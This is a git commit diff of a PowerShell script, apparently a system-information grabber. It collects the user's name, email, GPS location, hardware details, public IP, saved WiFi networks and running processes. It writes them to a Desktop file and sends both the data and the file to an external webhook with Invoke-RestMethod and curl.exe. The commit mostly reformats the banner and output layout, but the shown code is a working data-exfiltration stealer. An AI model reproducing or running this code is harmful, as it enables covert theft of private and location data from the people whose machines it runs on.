Update main.ps1

This commit is contained in:
egieb
2024-02-12 12:20:48 +00:00
committed by GitHub
parent f70d2b138d
commit b60d1fc7d5

View File

@@ -157,7 +157,7 @@ else{
$infomessage = "
``````==================================================================================================================================
==================================================================================================================================
_________ __ .__ _____ __ .__
/ _____/__.__. _______/ |_ ____ _____ |__| _____/ ____\___________ _____ _____ _/ |_|__| ____ ____
\_____ < | |/ ___/\ __\/ __ \ / \ ______ | |/ \ __\/ _ \_ __ \/ \\__ \\ __\ |/ _ \ / \
@@ -165,8 +165,11 @@ $infomessage = "
/_______ / ____/____ > |__| \___ >__|_| / |__|___| /__| \____/|__| |__|_| (____ /__| |__|\____/|___| /
\/\/ \/ \/ \/ \/ \/ \/ \/
==================================================================================================================================
"
$infomessage1 = "``````
User Information
----------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------
Current User : $env:USERNAME
Email Address : $email
Language : $systemLanguage
@@ -177,10 +180,9 @@ Build ID : $ver
Architechture : $OSArch
Screen Size : $screensize
Location : $GPS
==================================================================================================================================
=============================================================
Hardware Information
----------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------
Processor : $processor
Memory : $RamInfo
Gpu : $gpu
@@ -196,10 +198,9 @@ $PMcpu
$PMmu
$PMdio
$PMnio
==================================================================================================================================
=============================================================
Network Information
----------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------
Public IP Address : $computerPubIP
Saved WiFi Networks
@@ -256,9 +257,10 @@ $process
$outpath = "$env:USERPROFILE/Desktop/systeminfo.txt"
$infomessage | Out-File -FilePath $outpath -Encoding ASCII -Append
$infomessage1 | Out-File -FilePath $outpath -Encoding ASCII -Append
$infomessage2 | Out-File -FilePath $outpath -Encoding ASCII -Append
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = "$infomessage"} | ConvertTo-Json
$jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = "$infomessage1"} | ConvertTo-Json
Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys
curl.exe -F file1=@"$outpath" $hookurl